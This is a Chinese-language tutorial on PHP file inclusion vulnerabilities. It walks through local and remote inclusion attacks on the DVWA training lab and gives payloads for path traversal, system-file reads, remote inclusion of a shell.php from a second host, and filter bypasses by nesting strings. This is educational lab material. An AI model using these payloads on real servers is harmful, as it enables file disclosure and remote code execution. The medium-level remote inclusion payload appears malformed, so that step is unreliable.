一、文件包含漏洞
原理
文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含。文件包含漏洞可能出现在JSP、PHP、ASP等语言中,原理都是一样的。
文件包含漏洞进行攻击,必须满足以下两个条件:
- Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件;
- 用户能够控制该动态变量。
在PHP中,有四个用于包含文件的函数,当使用这些函数包含文件时,文件中包含的PHP代码会被执行。下面对它们之间的区别进行解释:
- include(): 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
- include_once(): 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。
- require(): 1.require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。2.使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。
- require_once(): 它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
分类
- 本地文件包含LFI(Local File Inclusion)当被包含的文件在服务器本地时,就形成本地文件包含。
- 远程文件包含RFI(Remote File Inclusion)当被包含的文件在第三方服务器时,叫做远程文件包含。
二、攻击实战
一、low级别
基础环境配置(low)
靶场:DVWA
安全等级:Low
界面:文件包含攻击
依次点击页面,我们发现可以读出不同的相关系统信息,侧面说明这三个文件含有读取相关系统信息的脚本代码。并且在URL显示了http://192.168.146.50/DVWA/vulnerabilities/fi/?page= 后就是被包含的文件名
通过点击file3,我们发现当前Web服务器使用的Windows,我们将URL中的文件名替换为:
C:/Windows/System32/drivers/etc/hosts
可以通过该方法进行访问hosts文件中的内容
使用相对路径../../phpinfo.php来替换URL中的包含文件名,可以执行DVWA程序自带的phpinfo信息(../代表当层目录的上层目录)。当前目录是/DVWA/vulnerabilities/fi,返回两层就可以回到DVWA。因此../../phpinfo.php代表/DVWA/phpinfo.php
在kali环境下,我们搭建一个Web服务,演示的地址为:192.168.146.110,在Web根目录下写入一个shell.php文件。用来显示PHPINFO。
1.进行/var/www/html
2. 开启apache服务 sudo service apache2 start
3.编写shell服务,里面内容:<? php phpinfo();?>
PHP默认不允许跨域引用URL,需要在PHP设置中开启。按照图片步骤:
成功访问到phpinfo()
二、medium级别
环境配置(medium)
靶场:DVWA
安全级别:medium
攻击界面:文件包含攻击
依次点击页面,我们发现可以读出不同的相关系统信息,侧面说明这三个文件含有读取相关系统信息的脚本代码。并且在URL显示了http://192.168.146.50/DVWA/vulnerabilities/fi/?page= 后就是被包含的文件名
观察源代码,发现使用str_replace()函数把http:// 、https:// 、..\ 替换为了空值,防止远程文件包含和相对路径的包含,但是str_replace 函数不安全,只做一次替换,但是我们在http:中再嵌套一个http://则可以绕过机制;另外,并没有没有绝对的文件包含进行防护。
使用绝对路径来进行文件包含,不受任何影响
使用绝对路径进行文件包含,需要在../中多嵌套一个../,在URL中输入包含的文件名为..././..././phpinfo.php
使用远程文件包含,需要在http://中多嵌套一个http://;在URL中输入包含的文件名http://tp://192.168.146.110/shell.php